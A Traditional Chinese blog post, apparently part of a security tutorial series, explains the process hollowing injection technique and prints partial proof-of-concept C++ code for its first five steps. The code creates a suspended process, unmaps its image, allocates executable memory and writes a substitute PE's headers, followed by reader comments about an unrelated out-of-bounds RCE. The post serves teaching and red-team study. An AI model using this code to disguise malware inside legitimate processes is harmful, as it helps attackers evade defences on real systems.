Process Hollowing 跟【Day 06】致不滅的 DLL - DLL Injection 所介紹的 DLL Injection 都被 MITRE 歸類於 Process Injection 的範疇,也就是把自己的程式放到別的 Process 執行。
因為 Process Hollowing 是把一個合法的 Process 原本要執行的程式挖空,並替換成自己的程式,其中被替換掉的 Process 指向的檔案路徑仍然是原本的。雖然實際上執行的是惡意程式,但外表卻看起來正常。所以對於紅隊來說它的優點就是可以用來繞過一些防禦。
以下原理是在 32-bit 情況,因為同樣的技巧,32-bit 可以在 64-bit 執行,反之卻不能。但是 64-bit 原理其實一樣,只是有些細節差異。
在這一篇會說明前 5 個步驟,後 4 個會在下一篇繼續。
使用 CreateProcessA 建立 Process,其中有個重點是第六個參數 dwCreationFlags 必須是 CREATE_SUSPENDED (0x4),因為需要它維持在初始狀態,讓我們能夠對其中的記憶體進行修改。下面可以看到 MSDN 對這個 Flag 的描述。
The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread function is called.
所以說在我們建立了目標 Process,並且把它的記憶體竄改成我們自己的程式後,呼叫 ResumeThread 就可以讓它恢復執行。
有了目標 Process 的 Handle,就可以取得 PEB,裡面包含後面步驟需要用到的 ImageBaseAddress。
使用 CreateFileA 取得目標檔案的 Handle,然後用 ReadFile 讀取檔案內容。
在這個步驟還需要取得 File Header 和 Optional Header 的位址。會需要 File Header 是因為我們需要其中的 NumberOfSections 成員。會需要 Optional Header 則是因為我們需要其中的 SizeOfImage、ImageBase、SizeOfHeaders、IMAGE_DATA_DIRECTORY、AddressOfEntryPoint。需要它們的原因是等等要把每個 Header 和 Section 排到正確的位址。
File Header 和 Optional Header 各是 NT Header 的其中一個成員,NT Header 則是從 DOS Header 算出來的。
從 ntdll.dll 中取出 NtUnmapViewOfSection 函數,Unmap 目標 Process 的 Image。
如果想要觀察這個函數實際上做了什麼,可以用 x32dbg 下斷點,然後用 Process Explorer 觀察目標 Process。
下圖左邊是我在 x32dbg 下斷點於執行 NtUnmapViewOfSection 之前,而右邊 Process Explorer 下方則是目標 Process 目前的 Image。
執行 NtUnmapViewOfSection 後原本的 Image 就消失了。
使用 VirtualAllocEx 向目標 Process 申請一塊記憶體,其中參數的設定很重要。hProcess 是目標 Process 的 Handle;lpAddress 是原本被 Unmap 的 Image 的 Base Address;dwSize 是我們要注入的檔案大小;flAllocationType 是 MEM_COMMIT | MEM_RESERVE;flProtect 可以針對不同的記憶體區段去做配置,不過 POC 方便起見,直接用 PAGE_EXECUTE_READWRITE。
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
把我們的檔案 Header 寫入目標 Process,首先要注意的是 Image Base 的部分。由於 Image 載入後,因為 ASLR(Address Space Layout Randomization) 的緣故,Image Base 不一定相同。
所以在改 Optional Header 中的 ImageBase 成員之前,我們要先算出檔案的 Image Base 和目標 Process 的 Image Base 的距離。之後就可以把檔案的 Header 用 WriteProcessMemory 寫到目標 Process。
那檔案的 Header 是指什麼呢?打開 PE-bear 查看檔案,可以看到左邊有 DOS Headers、DOS stub、NT Headers 等等。簡單來說,現在要寫入目標 Process 的部分就是除了 Sections 之外的東西。
POC 改自 m0n0ph1/Process-Hollowing,只有加入一些註解並把一些非必要的程式拔掉減少篇幅。完整的程式專案可以參考我的 GitHub zeze-zeze/2021iThome。
void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile)
{
// 1. 建立一個 Suspended Process,它就是要被注入的目標 Process
LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
// 第六個參數必須是 CREATE_SUSPENDED,因為需要它維持在初始狀態,讓我們能夠對其中的記憶體進行修改
CreateProcessA
(
0,
pDestCmdLine,
0,
0,
0,
CREATE_SUSPENDED,
0,
0,
pStartupInfo,
pProcessInfo
);
if (!pProcessInfo->hProcess)
{
printf("Error creating process\r\n");
return;
}
// 取得 PEB,裡面包含後面步驟需要用到的 ImageBaseAddress
PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);
// 2. 讀取要注入的檔案
HANDLE hFile = CreateFileA
(
pSourceFile,
GENERIC_READ,
0,
0,
OPEN_ALWAYS,
0,
0
);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Error opening %s\r\n", pSourceFile);
return;
}
DWORD dwSize = GetFileSize(hFile, 0);
PBYTE pBuffer = new BYTE[dwSize];
DWORD dwBytesRead = 0;
ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
// 取得 File Header 和 Optional Header
// File Header 和 Optional Header 各是 NT Header 的其中一個成員,NT Header 則是從 DOS Header 算出來的
PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);
PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer);
// 3. Unmap 目標 Process 的記憶體
// 從 ntdll.dll 中取出 NtUnmapViewOfSection
HMODULE hNTDLL = GetModuleHandleA("ntdll");
FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
_NtUnmapViewOfSection NtUnmapViewOfSection =
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
DWORD dwResult = NtUnmapViewOfSection
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);
if (dwResult)
{
printf("Error unmapping section\r\n");
return;
}
// 4. 在目標 Process 申請一塊記憶體
// Process 是目標 Process 的 Handle
// lpAddress 是原本被 Unmap 的 Image 的 Base Address
// dwSize 是我們要注入的檔案大小
// flAllocationType 是 MEM_COMMIT | MEM_RESERVE
// flProtect 可以針對不同的記憶體區段去做配置,不過 POC 方便起見,直接用 PAGE_EXECUTE_READWRITE
PVOID pRemoteImage = VirtualAllocEx
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress,
pSourceHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!pRemoteImage)
{
printf("VirtualAllocEx call failed\r\n");
return;
}
// 5. 把 Header 寫入目標 Process
// 在改 Optional Header 中的 ImageBase 成員之前,算出檔案的 Image Base 和目標 Process 的 Image Base 的距離
DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase;
pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;
// 把我們的檔案 Header 寫入目標 Process
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress,
pBuffer,
pSourceHeaders->OptionalHeader.SizeOfHeaders,
0
))
{
printf("Error writing process memory\r\n");
return;
}
我第一次聽 Process Hollowing,我能問問是不是比較邪惡去取代原有的程式,都叫Process Hollowing?
像說這樣的手法算不算呢? <剛好想到 HITCON 2018 神祕議程>
http://blogs.360.cn/post/eos-node-remote-code-execution-vulnerability.html
我簡述一下這個情境,360 技術在 Github 上找到 EoS 幣有使用弱點的開源套件,
其中是32-bits,發現可能有 Process Injection 的可能?還是算 Buffer overflow?
寫信給原廠,後來改成 32 bits ,然後 360 又來通報一次又沒改,打下去造成很大的損失。
我覺得是很好的例子啦,但我不確定手法對不對?
相關新聞:https://www.chainnews.com/zh-hant/articles/868498249729.htm
我第一次聽 Process Hollowing,我能問問是不是比較邪惡去取代原有的程式,都叫Process Hollowing?
Process Hollowing 不是一個通用的名詞,而是特定一種注入技巧,就是照這篇(加下一篇)講的流程所做的行為才叫 Process Hollowing。
http://blogs.360.cn/post/eos-node-remote-code-execution-vulnerability.html
https://www.chainnews.com/zh-hant/articles/868498249729.htm
這兩個連結講的事件看起來跟 Process Hollowing 沒什麼關係,它是用 out-of-bound (存取分配的記憶體以外的記憶體) 漏洞造成的 RCE。舉例:
int table[10];
// 這邊 offset 如果沒有限制 0~9 就會有 out-of-bound
table[offset] = data;
Process Hollowing 則是把 Process 中原本要執行的程式直接改成我們自己要執行的程式 (嚴格來說是把整個 Image 換掉),這件事本身不算漏洞。
好的!因為我是第一次聽到 Q"Q
感謝清楚詳細的說明!